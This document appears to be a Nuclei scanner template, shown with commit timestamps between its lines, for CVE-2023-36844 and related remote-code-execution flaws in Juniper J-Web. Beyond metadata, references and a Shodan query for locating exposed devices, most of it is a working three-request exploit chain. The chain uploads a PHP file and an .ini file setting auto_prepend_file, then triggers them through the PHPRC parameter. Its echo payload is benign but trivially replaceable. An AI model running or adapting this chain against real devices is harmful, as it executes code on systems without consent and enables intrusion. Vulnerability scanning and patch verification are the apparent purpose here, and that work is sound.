2023-08-26 07:36:41 +00:00
id : CVE-2023-36844
info :
name : Juniper Devices - Remote Code Execution
author : princechaddha,ritikchaddha
2023-08-31 11:46:18 +00:00
severity : medium
2023-08-26 07:36:41 +00:00
description : |
2023-08-28 18:31:48 +00:00
Multiple cves in Juniper Network (CVE-2023-36844|CVE-2023-36845|CVE-2023-36846|CVE-2023-36847).A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain, important environments variables. Utilizing a crafted request an attacker is able to modify certain PHP environments variables leading to partial loss of integrity, which may allow chaining to other vulnerabilities.
2023-09-06 11:43:37 +00:00
remediation : |
Apply the latest security patches and firmware updates provided by Juniper Networks to mitigate this vulnerability.
2023-08-26 07:36:41 +00:00
reference :
- https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
- https://github.com/watchtowrlabs/juniper-rce_cve-2023-36844
- https://supportportal.juniper.net/JSA72300
2023-08-31 11:46:18 +00:00
- http://packetstormsecurity.com/files/174397/Juniper-JunOS-SRX-EX-Remote-Code-Execution.html
2023-10-14 11:27:55 +00:00
- http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html
2023-08-26 07:36:41 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score : 5.3
2023-08-31 11:46:18 +00:00
cve-id : CVE-2023-36844
2023-08-26 07:36:41 +00:00
cwe-id : CWE-473
2023-11-20 05:10:39 +00:00
epss-score : 0.21216
2023-11-27 09:19:41 +00:00
epss-percentile : 0.9593
2023-09-06 11:43:37 +00:00
cpe : cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
2023-08-26 07:36:41 +00:00
metadata :
2023-08-28 18:31:48 +00:00
verified : true
2023-09-06 11:43:37 +00:00
max-request : 3
2023-08-26 07:36:41 +00:00
vendor : juniper
product : junos
2023-09-06 11:43:37 +00:00
shodan-query : title:"Juniper Web Device Manager"
2023-11-14 05:56:48 +00:00
tags : packetstorm,cve,cve2023,juniper,php,rce,intrusive,fileupload,kev
2023-08-26 07:36:41 +00:00
variables :
2023-08-28 18:31:48 +00:00
value : "CVE-2023-36844"
payload : "('<?php echo md5('{{value}}');?>')"
2023-08-26 07:36:41 +00:00
http :
- raw :
- |
POST /webauth_operation.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2023-08-28 18:31:48 +00:00
rs=do_upload&rsargs[]=[{"fileData": "data:text/html;base64,{{base64(payload)}}", "fileName": "{{rand_base(5, "abc")}}.php", "csize": {{len(payload)}}}]
- |
POST /webauth_operation.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
rs=do_upload&rsargs[]=[{"fileName": "{{rand_base(5, "abc")}}.ini", "fileData": "data:text/html;base64,{{base64(concat('auto_prepend_file=',hex_decode('22'),'/var/tmp/',phpfile,hex_decode('22')))}}", "csize": "97" }]
- |
GET /webauth_operation.php?PHPRC=/var/tmp/{{inifile}} HTTP/1.1
Host : {{Hostname}}
2023-08-26 07:36:41 +00:00
matchers-condition : and
matchers :
- type : word
2023-08-28 18:31:48 +00:00
part : body_2
2023-08-26 07:36:41 +00:00
words :
- '"original_fileName":'
- '"converted_fileName":'
condition : and
2023-08-28 18:31:48 +00:00
- type : word
part : body_3
words :
- '{{md5(value)}}'
extractors :
- type : regex
part : body_1
name : phpfile
regex :
- "([a-f0-9]{64}\\.php)"
internal : true
- type : regex
part : body_2
name : inifile
regex :
- "([a-f0-9]{64}\\.ini)"
internal : true
2023-12-05 09:50:33 +00:00
2023-11-27 10:10:24 +00:00
# digest: 4a0a004730450220280fc21d40edd65d3b930929d828192e01271850749ccbf96af3653f73f6922e022100eb5465e1f0b4e1f13bff670156a47897253e52ed8324edde1d612153abf1145b:922c64590222798bb761d5b6d8e72950